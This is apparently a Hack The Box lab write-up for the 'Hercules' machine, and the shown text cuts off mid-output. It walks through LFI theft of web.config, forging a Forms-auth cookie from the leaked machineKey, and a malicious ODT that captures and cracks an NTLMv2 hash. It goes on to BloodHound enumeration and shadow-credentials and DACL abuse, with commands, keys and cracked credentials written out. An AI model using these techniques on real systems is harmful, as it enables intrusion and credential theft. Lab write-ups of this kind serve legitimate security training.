$ nxc smb hercules.htb -u ken.w -p 'change*th1s_p@ssw()rd!!' --generate-krb5-file ./krb5.conf
SMB 10.129.13.42 445 dc [*] x64 (name:dc) (domain:hercules.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB 10.129.13.42 445 dc [+] krb5 conf saved to: ./krb5.conf
SMB 10.129.13.42 445 dc [+] Run the following command to use the conf file: export KRB5_CONFIG=./krb5.conf
SMB 10.129.13.42 445 dc [-] hercules.htb\ken.w:change*th1s_p@ssw()rd!! STATUS_NOT_SUPPORTED
$ export KRB5_CONFIG=krb5.conf
$ nxc smb hercules.htb -u ken.w -p 'change*th1s_p@ssw()rd!!' -k
SMB hercules.htb 445 hercules [*] x64 (name:hercules) (domain:htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB hercules.htb 445 hercules [-] htb\ken.w:change*th1s_p@ssw()rd!! [Errno Connection error (HTB:88)] [Errno -2] Name or service not known
$ nxc winrm hercules.htb -u ken.w -p 'change*th1s_p@ssw()rd!!' -k
[01:01:46] ERROR Invalid NTLM challenge received from server. This may indicate NTLM is not supported and nxc winrm only support NTLM currently winrm.py:62
WINRM-SSL hercules.htb 5986 hercules.htb [*] None (name:hercules.htb) (domain:None) (NTLM:False)
$ nxc ldap hercules.htb -u ken.w -p 'change*th1s_p@ssw()rd!!' -k
LDAP hercules.htb 389 DC [*] None (name:DC) (domain:hercules.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP hercules.htb 389 DC [+] hercules.htb\ken.w:change*th1s_p@ssw()rd!!Access is restricted to LDAP only — still useful. This credential might also allow web app login:

LFI
An email reveals a resource download endpoint:

A cheap LFI probe confirms a directory traversal primitive:

Bingo.
On a Windows IIS host the high-value target is C:\inetpub\wwwroot\web.config (the ASP.NET application configuration). We can test and find out by exfiltrating it with a two-level traversal like ../../web.config:
<?xml version="1.0" encoding="utf-8"?>
<!--
For more information on how to configure your ASP.NET application, please visit
https://go.microsoft.com/fwlink/?LinkId=301880
-->
<configuration>
<appSettings>
<add key="webpages:Version" value="3.0.0.0" />
<add key="webpages:Enabled" value="false" />
<add key="ClientValidationEnabled" value="true" />
<add key="UnobtrusiveJavaScriptEnabled" value="true" />
</appSettings>
<!--
For a description of web.config changes see http://go.microsoft.com/fwlink/?LinkId=235367.
The following attributes can be set on the <httpRuntime> tag.
<system.Web>
<httpRuntime targetFramework="4.8.1" />
</system.Web>
-->
<system.web>
<compilation targetFramework="4.8" />
<authentication mode="Forms">
<forms protection="All" loginUrl="/Login" path="/" />
</authentication>
<httpRuntime enableVersionHeader="false" maxRequestLength="2048" executionTimeout="3600" />
<machineKey decryption="AES" decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581" validation="HMACSHA256" validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" />
<customErrors mode="Off" />
</system.web>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="System.Web.Helpers" publicKeyToken="31bf3856ad364e35" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.WebPages" publicKeyToken="31bf3856ad364e35" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Mvc" publicKeyToken="31bf3856ad364e35" />
<bindingRedirect oldVersion="1.0.0.0-5.3.0.0" newVersion="5.3.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Microsoft.Web.Infrastructure" publicKeyToken="31bf3856ad364e35" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-2.0.0.0" newVersion="2.0.0.0" />
</dependentAssembly>
</assemblyBinding>
</runtime>
<system.webServer>
<httpProtocol>
<customHeaders>
<remove name="X-AspNetMvc-Version" />
<remove name="X-Powered-By" />
<add name="Connection" value="keep-alive" />
</customHeaders>
</httpProtocol>
<security>
<requestFiltering>
<requestLimits maxAllowedContentLength="2097152" />
</requestFiltering>
</security>
<rewrite>
<rules>
<rule name="HTTPS Redirect" stopProcessing="true">
<match url="(.*)" />
<conditions>
<add input="{HTTPS}" pattern="^OFF$" />
</conditions>
<action type="Redirect" url="https://{HTTP_HOST}{REQUEST_URI}" redirectType="Permanent" />
</rule>
</rules>
</rewrite>
<httpErrors errorMode="Custom" existingResponse="PassThrough">
<remove statusCode="404" subStatusCode="-1" />
<error statusCode="404" path="/Error/Index?statusCode=404" responseMode="ExecuteURL" />
<remove statusCode="500" subStatusCode="-1" />
<error statusCode="500" path="/Error/Index?statusCode=500" responseMode="ExecuteURL" />
<remove statusCode="501" subStatusCode="-1" />
<error statusCode="501" path="/Error/Index?statusCode=501" responseMode="ExecuteURL" />
<remove statusCode="503" subStatusCode="-1" />
<error statusCode="503" path="/Error/Index?statusCode=503" responseMode="ExecuteURL" />
<remove statusCode="400" subStatusCode="-1" />
<error statusCode="400" path="/Error/Index?statusCode=400" responseMode="ExecuteURL" />
</httpErrors>
</system.webServer>
<system.codedom>
<compilers>
<compiler language="c#;cs;csharp" extension=".cs" warningLevel="4" compilerOptions="/langversion:default /nowarn:1659;1699;1701;612;618" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=4.1.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
<compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" warningLevel="4" compilerOptions="/langversion:default /nowarn:41008,40000,40008 /define:_MYTYPE=\"Web\" /optionInfer+" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=4.1.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
</compilers>
</system.codedom>
</configuration>
<!--ProjectGuid: 6648C4C4-2FF2-4FF1-9F3E-1A560E46AA52-->- The app is ASP.NET (MVC) targeting .NET Framework 4.8.
- Forms authentication is enabled (
<authentication mode="Forms">), login page/Login. That means the app uses an authentication cookie (.ASPXAUTHin our case) to represent logged-in users. <machineKey>is present and reveals the keys (bothdecryptionKeyandvalidationKey) and algorithms:decryption="AES"andvalidation="HMACSHA256".
Those keys are the root secret for this application. With them we can:
- Forge valid forms-authentication cookies (log in as any username such as
web_admin, what we are going to do next) or set arbitrary roles/expiry. - Decrypt / verify ViewState or other ASP.NET protected data if the app uses machineKey protection (ViewState MAC/encryption) — can allow RCE via ViewState deserialization gadgets in some environments (not in this case).
Cookie Forgery
Recipes
So now, we can forge the .ASPXAUTH cookie because the leaked machineKey in web.config is the secret the app uses to encrypt and sign Forms Authentication tickets. With that secret (and a correct tool), we can produce a valid encrypted ticket for any username & userdata we want (e.g., web_admin), and the app will accept it as if it issued it.
- ASP.NET Forms Authentication stores an authentication ticket (
FormsAuthenticationTicket) in a cookie. That ticket contains username, issue/expiry, persistence flag and aUserDatastring (commonly used to hold roles). - The ticket is serialized, then encrypted (AES here) and authenticated (HMAC-SHA256 here) using the machineKey configured in
web.configormachine.config(think of a PHP stored session encrypted by a secret key). - The server, upon receiving the cookie, uses the same
machineKeyto verify HMAC and decrypt the blob — if verification passes, it accepts the ticket as authentic and uses the username and roles.
Since we possess the exact decryptionKey and validationKey from the app's machineKey, we can create an encrypted+signed ticket indistinguishable from one the server would make. That's the forging.
decryptionKey (hex) — AES encryption key:
B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581validationKey (hex) — HMAC key:
EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80Algorithms:
decryption="AES"
validation="HMACSHA256"Next we would retrieve an example valid cookie, the real .ASPXAUTH value from a logged-in user (e.g., ken.w). For example:
531F5BD35063DE968196F071DDE06C042DB70D9EF7F8D6E01F70A6A343785A2C09902A373A8C679DA6DD75D218964E9E9285E5C827C1A348C80D6AF61C970EDA0BDE78C35FAE8A7ECE3215227DDA689427D403E0BE275E387E9DB35880CC4A40C8107FAFCD987FC4EC3E08EFA4F779A3628E5C2A101685E4722F459755E8802CC199BCA667857FA88F701C8040877701BBC4FA136423517A851A775EE1AB3F0BWe can use it to verify decryption works and to copy properties (IsPersistent, old ticket layout, any custom formats).
Tools
With the machineKey in hand, we can turn to the official Windows docs for FormsAuthenticationTicket to build a small helper: FormsTicketTool.
Rather than re-implement low-level AES/HMAC or hand-roll ticket serialization, the tool leverages the ASP.NET crypto primitives (forms auth, viewstate, machineKey handling) so we can reliably decrypt ken.w's ticket and mint a .ASPXAUTH cookie for web_admin. Implementation references and compatibility notes follow the FormsAuthenticationTicket constructor docs.
The project lives in my repo: https://github.com/4xura/FormsTicketTool (inspired by aspnetCryptTools), and it's intended as a pragmatic Windows + Visual Studio utility to perform encryption/decryption/creation and cookie forging against ASP.NET apps.
Steps
Step 1: Clone
Use VS “Clone a repo” and open the folder on:
https://github.com/4xura/FormsTicketToolSave the project anywhere.
Step 2: Config
The tool reads their machineKey from the process config file. Copy the App.config.template as App.config Replace the file contents with our exfiltrated machineKey values of the one we grabbed from the target web.config:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.web>
<compilation debug="false" targetFramework="4.0" />
<machineKey
decryption="AES"
decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581"
validation="HMACSHA256"
validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" />
</system.web>
</configuration>Step 3: Build
Simply build with VS:

Or open Developer Command Prompt and run:
csc /r:System.Web.dll FormsTicketTool.csStep 4: Decrypt
Run the decrypt command with the .ASPXAUTH cookie copied from ken.w's HTTP request header:
.\FormsTicketTool.exe decrypt 531F5BD35063DE968196F071DDE06C042DB70D9EF7F8D6E01F70A6A343785A2C09902A373A8C679DA6DD75D218964E9E9285E5C827C1A348C80D6AF61C970EDA0BDE78C35FAE8A7ECE3215227DDA689427D403E0BE275E387E9DB35880CC4A40C8107FAFCD987FC4EC3E08EFA4F779A3628E5C2A101685E4722F459755E8802CC199BCA667857FA88F701C8040877701BBC4FA136423517A851A775EE1AB3F0BResult:

The ticket decodes: ken.w is a regular member of Web Users.
Step 5: Encrypt
To craft a ticket for web_admin we first determine the target role. With LDAP access as ken.w we query the directory:
$ ldapsearch -x -H ldap://hercules.htb \
-D "HERcules\\ken.w" \
-w 'change*th1s_p@ssw()rd!!' \
-b "DC=hercules,DC=htb" "(sAMAccountName=web_admin)" cn name department displayName memberOf
# web_admin, Web Department, DCHERCULES, hercules.htb
dn: CN=web_admin,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
cn: web_admin
displayName: web_admin
memberOf: CN=Domain Employees,OU=Domain Groups,OU=DCHERCULES,DC=hercules,DC=ht
b
department: Web Administrators
name: web_admindepartment: Web Administrators — that's our target role. Mint a new ticket with encrypt:
.\FormsTicketTool.exe encrypt 531F5BD3... web_admin "Web Administrators" 3600New ticket generated:

Step 6: Cookie
Replace the .ASPXAUTH cookie in the browser request with the forged ticket — we become web_admin in the application:

USER
Upload
As web_admin we see a new menu Form in the Hercules Portal that POSTs files to https://hercules.htb/Home/Forms:

Upload endpoints are high-value attack vectors. A quick test with .txt or .zip returns "File type is not supported."
From the admin mailbox:
FW: Security Department
Hello Web Admins,
Security is writing to inform you that in light of some necessary changes to the domain separate sign on for this site will be disabled in the coming future. Configuration changes you need to make:
1) Migrate user logons to use domain credentials.
2) Disable site registration.
3) For company logons, ensure this site is in sync with the KDC.
4) Restrict file upload to administrators only.
Currently we're working on disabling some legacy authentication systems in place on the domain. Once these protocols are deprecated we will consider relaxing some of these changes.Keywords of next exploit: "Restrict file upload" (entry), "legacy authentication systems" and "protocols are deprecated" (NTLM)
LFI for Upload
With LFI we can audit code (DLLs, views). Candidate paths to probe for a Windows IIS ASP.NET app:
../../Global.asax
../../App_global.asax
../../App_Start/RouteConfig.cs
../../Views/Shared/_Layout.cshtml
../../Views/Shared/_LoginPartial.cshtml
../../Views/Home/Index.cshtml
../../Views/Error/Index.cs../Views/Home/Index.cshtml exists but not interesting. However, since we know the upload path is https://hercules.htb/Home/Forms, we can then try to enumerate ../Views/Home/Forms.cshtml according to its naming conversion. Jackpot:
@model HadesWeb.Models.UploadFormModel
@{
ViewBag.Title = "Forms";
Layout = "_Layout.cshtml";
}
@using (Html.BeginForm("Forms", "Home", FormMethod.Post, new { enctype = "multipart/form-data", @class = "upload-form-container" }))
{
@Html.AntiForgeryToken()
@Html.ValidationSummary(true, "", new { @class = "text-danger" })
...That @model HadesWeb.Models.UploadFormModel is the smoking gun. The app's root namespace (and very likely its project folder name) is HadesWeb. And via BurpSuite scraper we see its local path on the target:
C:\Users\Administrator\Desktop\DOMAINLAB\HadesWeb\obj\Release\HadesWeb.dllAnd bin/HadesWeb.dll is the target.
Code Review
Leak the ../../bin/HadesWeb.dll and decompile it using tools like dotPeek. Review the Forms function which is related to the upload feature:

The Forms function snippet:
public ActionResult Forms() => (ActionResult) this.View();
[HttpPost]
[ValidateAntiForgeryToken]
[RateLimit]
public ActionResult Forms(UploadFormModel model)
{
if (this.ModelState.IsValid)
{
if (model.UploadedFile != null && model.UploadedFile.ContentLength > 0)
{
if (this.User.IsInRole("Web Administrators"))
{
int num = 1048576;
if (model.UploadedFile.ContentLength < num)
{
string[] source = new string[2]
{
".docx",
".odt"
};
string lower = Path.GetExtension(model.UploadedFile.FileName).ToLower();
if (((IEnumerable<string>) source).Contains<string>(lower))
{
try
{
string filename = Path.Combine("C:\\inetpub\\Reports\\", Path.GetFileName(string.Format("{0}{1}", (object) Guid.NewGuid(), (object) lower)));
model.UploadedFile.SaveAs(filename);
// ISSUE: reference to a compiler-generated field
if (HomeController.\u003C\u003Eo__8.\u003C\u003Ep__0 == null)
{
// ISSUE: reference to a compiler-generated field
HomeController.\u003C\u003Eo__8.\u003C\u003Ep__0 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Success", typeof (HomeController), (IEnumerable<CSharpArgumentInfo>) new CSharpArgumentInfo[2]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, (string) null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, (string) null)
}));
}
// ISSUE: reference to a compiler-generated field
// ISSUE: reference to a compiler-generated field
object obj = HomeController.\u003C\u003Eo__8.\u003C\u003Ep__0.Target((CallSite) HomeController.\u003C\u003Eo__8.\u003C\u003Ep__0, ((ControllerBase) this).ViewBag, "Thank you for your report!");
}
catch (Exception ex)
{
}
}
else
{
// ISSUE: reference to a compiler-generated field
if (HomeController.\u003C\u003Eo__8.\u003C\u003Ep__1 == null)
{
// ISSUE: reference to a compiler-generated field
HomeController.\u003C\u003Eo__8.\u003C\u003Ep__1 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Message", typeof (HomeController), (IEnumerable<CSharpArgumentInfo>) new CSharpArgumentInfo[2]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, (string) null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, (string) null)
}));
}
// ISSUE: reference to a compiler-generated field
// ISSUE: reference to a compiler-generated field
object obj = HomeController.\u003C\u003Eo__8.\u003C\u003Ep__1.Target((CallSite) HomeController.\u003C\u003Eo__8.\u003C\u003Ep__1, ((ControllerBase) this).ViewBag, "File type is not supported.");
}
}
else
{
// ISSUE: reference to a compiler-generated field
if (HomeController.\u003C\u003Eo__8.\u003C\u003Ep__2 == null)
{
// ISSUE: reference to a compiler-generated field
HomeController.\u003C\u003Eo__8.\u003C\u003Ep__2 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Message", typeof (HomeController), (IEnumerable<CSharpArgumentInfo>) new CSharpArgumentInfo[2]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, (string) null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, (string) null)
}));
}
// ISSUE: reference to a compiler-generated field
// ISSUE: reference to a compiler-generated field
object obj = HomeController.\u003C\u003Eo__8.\u003C\u003Ep__2.Target((CallSite) HomeController.\u003C\u003Eo__8.\u003C\u003Ep__2, ((ControllerBase) this).ViewBag, "File too large.");
}
}
else
{
// ISSUE: reference to a compiler-generated field
if (HomeController.\u003C\u003Eo__8.\u003C\u003Ep__3 == null)
{
// ISSUE: reference to a compiler-generated field
HomeController.\u003C\u003Eo__8.\u003C\u003Ep__3 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Message", typeof (HomeController), (IEnumerable<CSharpArgumentInfo>) new CSharpArgumentInfo[2]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, (string) null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, (string) null)
}));
}
// ISSUE: reference to a compiler-generated field
// ISSUE: reference to a compiler-generated field
object obj = HomeController.\u003C\u003Eo__8.\u003C\u003Ep__3.Target((CallSite) HomeController.\u003C\u003Eo__8.\u003C\u003Ep__3, ((ControllerBase) this).ViewBag, "File Upload not permitted.");
}
}
else
{
// ISSUE: reference to a compiler-generated field
if (HomeController.\u003C\u003Eo__8.\u003C\u003Ep__4 == null)
{
// ISSUE: reference to a compiler-generated field
HomeController.\u003C\u003Eo__8.\u003C\u003Ep__4 = CallSite<Func<CallSite, object, string, object>>.Create(Binder.SetMember(CSharpBinderFlags.None, "Success", typeof (HomeController), (IEnumerable<CSharpArgumentInfo>) new CSharpArgumentInfo[2]
{
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.None, (string) null),
CSharpArgumentInfo.Create(CSharpArgumentInfoFlags.UseCompileTimeType | CSharpArgumentInfoFlags.Constant, (string) null)
}));
}
// ISSUE: reference to a compiler-generated field
// ISSUE: reference to a compiler-generated field
object obj = HomeController.\u003C\u003Eo__8.\u003C\u003Ep__4.Target((CallSite) HomeController.\u003C\u003Eo__8.\u003C\u003Ep__4, ((ControllerBase) this).ViewBag, "Thank you for your report!");
}
}
this.ClearEntries<UploadFormModel>(model);
return (ActionResult) this.View((object) model);
}Upload is restricted to users in role Web Administrators, accepts only .docx / .odt under 1,048,576 bytes (1 MB), and saves files to C:\inetpub\Reports\{GUID}{ext} (GUID filename). The code sanitizes the filename via Path.GetFileName(...), so no path traversal via filename, and it is not preditable to meet the upload-execute attack requirement.
Bad ODT Phishing
Actually, if we are familiar with HTB, this is textbook phishing-stage groundwork seen in Mist and mirrored in Mailing. As for the allowed file types, the idea of the so called Bad ODT technique is simple:
Upload a
.odtdocument that auto-triggers an external resource fetch from a remote path — and catch the NTLMv2 hash if the victim host still honors legacy protocols.
An ODT/Office XML file can include external references (SMB/UNC/HTTP). When a Windows client resolves those links it may perform network authentication (NTLM), which an attacker listening on SMB/HTTP can capture and potentially crack or relay. Detailed attack methodology is well introduced in this post).
To generate a malicious .odt that triggers an NTLM callback, we can either:
- Use lof1sec's Bad-ODF to manually inject external UNC links in
content.xml, - Or simplify using Metasploit's built-in module introduced in this article.
Search for the right module:
$ msfconsole -x 'search odt; exit'
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/telnet/goodtech_telnet 2005-03-15 average No GoodTech Telnet Server Buffer Overflow
1 \_ target: Windows 2000 Pro English All . . . .
2 \_ target: Windows XP Pro SP0/SP1 English . . . .
3 auxiliary/fileformat/odt_badodt 2018-05-01 normal No LibreOffice 6.03 /Apache OpenOffice 4.1.5 Malicious ODT File Generator
4 exploit/multi/fileformat/libreoffice_macro_exec 2018-10-18 normal No LibreOffice Macro Code Execution
5 \_ target: Windows . . . .
6 \_ target: Linux . . . .
7 exploit/multi/fileformat/libreoffice_logo_exec 2019-07-16 normal No LibreOffice Macro Python Code ExecutionUse the module:

The resulting .odt file (e.g., hello.odt) embeds a remote image link pointing to our SMB listener inside content.xml:

Raise a listener with responder, and upload the malicious hello.odt file via the portal (/Home/Forms). Once the admin (or backend process) opens it, we receive a callout:

The backend victim is user natalie.a. And her NTLMv2 hash is crackable with Hashcat mode 5600:
NATALIE.A::HERCULES:f202ebafbed683ed:d5d1f38f0373af6cdca54e1d971b227b:010100000000000080746e06f441dc01de6b184ac79c111c000000000200080053004f0050004f0001001e00570049004e002d00450039004b0051004400310041004500360038004b0004003400570049004e002d00450039004b0051004400310041004500360038004b002e0053004f0050004f002e004c004f00430041004c000300140053004f0050004f002e004c004f00430041004c000500140053004f0050004f002e004c004f00430041004c000700080080746e06f441dc0106000400020000000800300030000000000000000000000000200000a3c94157fbf128597a1ed2cc626393b4efe183b10bfaaca285cce78506b1b1b60a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310036002e00340037000000000000000000:Prettyprincess123!
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: NATALIE.A::HERCULES:f202ebafbed683ed:d5d1f38f0373af...000000Still, only LDAP access for the newly compromised account:
$ export KRB5_CONFIG=krb5.conf
$ nxc winrm hercules.htb -u natalie.a -p 'Prettyprincess123!' -k
[19:08:32] ERROR Invalid NTLM challenge received from server. This may indicate NTLM is not supported and nxc winrm only support NTLM currently winrm.py:62
WINRM-SSL hercules.htb 5986 hercules.htb [*] None (name:hercules.htb) (domain:None) (NTLM:False)
$ nxc smb hercules.htb -u natalie.a -p 'Prettyprincess123!' -k
SMB hercules.htb 445 hercules [*] x64 (name:hercules) (domain:htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB hercules.htb 445 hercules [-] htb\natalie.a:Prettyprincess123! [Errno Connection error (HTB:88)] [Errno -2] Name or service not known
$ nxc ldap hercules.htb -u natalie.a -p 'Prettyprincess123!' -k
LDAP hercules.htb 389 DC [*] None (name:DC) (domain:hercules.htb) (signing:None) (channel binding:Never) (NTLM:False)
LDAP hercules.htb 389 DC [+] hercules.htb\natalie.a:Prettyprincess123!But she's a privileged domain account for DACL manipulations.
BloodHound
Now we pivot into the Windows domain exploitation phase. With valid domain creds in hand, we can enumerate and visualize privilege chains using bloodhound-python:
bloodhound-python \
-dc 'dc.hercules.htb' -d 'hercules.htb' \
-u natalie.a -p 'Prettyprincess123!' -k \
-ns $targetIp --zip -c All The ADMIN account holds top-tier privileges:

Next, focus shifts to Organizational Units (OUs) — these shape delegation boundaries. The following stood out:

After reviewing DACLs and pathing through ACL edges, although the limited priv of the recon account which won't be able to show a full image for the moment, the escalation route reveals itself:

If we can compromise a member of HELPDESK ADMINISTRATORS — for example stephanie.w or heather.s — we may gain control over the machine account iis_webserver$, which is configured for Resource-Based Constrained Delegation (RBCD).
But there's more: with our current foothold (natalie.a), we inherit GenericWrite rights over multiple users, including bob.w, a member of the RECRUITMENT MANAGERS group:

BloodHound doesn't trace a clean path from RECRUITMENT MANAGERS (SID: S-1-5-21-1889966460-2597381952-958560702-1106) to HELPDESK ADMINISTRATORS — at least not directly:

This becomes the pivot challenge — bridge the trust gap between RECRUITMENT MANAGERS and HELPDESK ADMINISTRATORS.
DACL Abuse
We will need to abuse DACL with tools like certipy, PKINITtools or Impacket toolkit via Kerberos only in our case, since NTLM authentication is forbidden to DC. Therefore, we first request a TGT as the owned user natalie.a:
getTGT.py hercules.htb/'natalie.a':'Prettyprincess123!'
export KRB5CCNAME=natalie.a.ccacheExport the ticket to ENV for later uses.
Shadow Credentials 1
We will exploit shadow creds (msDS-KeyCredentialLink) on the first target: bob.w.
Exploiting the
GenericWriteprivilege often diverges from techniques like the Shadow Credentials Attack we detailed in Certified or leveragingtargetedKerberoasting.pyas discussed in Administrator.
We already introduced various tooling for this technique, including certipy, pywhisker, etc. The newer certipy shadow module simplifies execution with an integrated automatic mode:
certipy shadow \
-dc-host DC.HERCULES.HTB \
-u '[email protected]' -k \
-account 'bob.w' \
-ns $targetIp \
autoResult:
[*] Targeting user 'bob.w'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '53ad7fb389a5475cbeb9623cbb215cc4'
[*] Adding Key Credential with device ID '53ad7fb389a5475cbeb9623cbb215cc4' to the Key Credentials for 'bob.w'
[*] Successfully added Key Credential with device ID '53ad7fb389a5475cbeb9623cbb215cc4' to the Key Credentials for 'bob.w'
[*] Authenticating as 'bob.w' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: '[email protected]'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'bob.w.ccache'
[*] Wrote credential cache to 'bob.w.ccache'
[*] Trying to retrieve NT hash for 'bob.w'
[*] Restoring the old Key Credentials for 'bob.w'
[*] Successfully restored the old Key Credentials for 'bob.w'
[*] NT hash for 'bob.w': 8a65c74e8f0073babbfac6725c66cc3fnTSecurityDescriptor
bob.w is a member of the RECRUITMENT MANAGERS group, but BloodHound shows no outbound edge from that group toward HELPDESK ADMINISTRATORS. This is one of those gaps where BloodHound misses granular DACLs, as seen in the Haze writeup.
We switch tactics: use bob.w's cert-derived TGT with bloodyAD to manually inspect the nTSecurityDescriptor on selected high-value users inside HELPDESK ADMINISTRATORS. After tesing, only stephen.m in that group shows juicy result:
$ KRB5CCNAME=bob.w.ccache bloodyAD \
-H DC.HERCULES.HTB -d HERCULES.HTB \
-u 'bob.w' -k \
get object 'stephen.m'
distinguishedName: CN=Stephen Miller,OU=Security Department,OU=DCHERCULES,DC=hercules,DC=htb
accountExpires: 9999-12-31 23:59:59.999999+00:00
badPasswordTime: 1601-01-01 00:00:00+00:00
badPwdCount: 0
cn: Stephen Miller
codePage: 0
countryCode: 0
dSCorePropagationData: 2024-12-04 01:45:07+00:00
displayName: Stephen Miller
givenName: Stephen
instanceType: 4
lastLogoff: 1601-01-01 00:00:00+00:00
lastLogon: 1601-01-01 00:00:00+00:00
logonCount: 0
memberOf: CN=Security Helpdesk,OU=Domain Groups,OU=DCHERCULES,DC=hercules,DC=htb; CN=Domain Employees,OU=Domain Groups,OU=DCHERCULES,DC=hercules,DC=htb
nTSecurityDescriptor: O:S-1-5-21-1889966460-2597381952-958560702-512G:S-1-5-21-1889966460-2597381952-958560702-512D:AI(OA;;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-1889966460-2597381952-958560702-553)(OA;;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;;S-1-5-21-1889966460-2597381952-958560702-553)(OA;;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;;S-1-5-21-1889966460-2597381952-958560702-553)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;;S-1-5-21-1889966460-2597381952-958560702-553)(OA;;0x30;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-1889966460-2597381952-958560702-517)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;0x30;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;0x30;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-1-0)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;CR;ab721a54-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;CR;ab721a56-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;;S-1-5-11)(OA;;RP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-11)(OA;;RP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-11)(OA;;RP;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-11)(OA;;0x30;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b2-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(A;;0xf01ff;;;S-1-5-21-1889966460-2597381952-958560702-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;RC;;;S-1-5-11)(A;;0x20094;;;S-1-5-10)(A;;0xf01ff;;;S-1-5-18)(OA;CIID;CR;00299570-246d-11d0-a768-00aa006e0529;;S-1-5-21-1889966460-2597381952-958560702-1110)(OA;CIID;WP;bf967a0e-0de6-11d0-a285-00aa003049e2;;S-1-5-21-1889966460-2597381952-958560702-1106)(OA;CIID;WP;bf96793f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-1889966460-2597381952-958560702-1106)(OA;CIID;CR;00299570-246d-11d0-a768-00aa006e0529;;S-1-5-21-1889966460-2597381952-958560702-1112)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-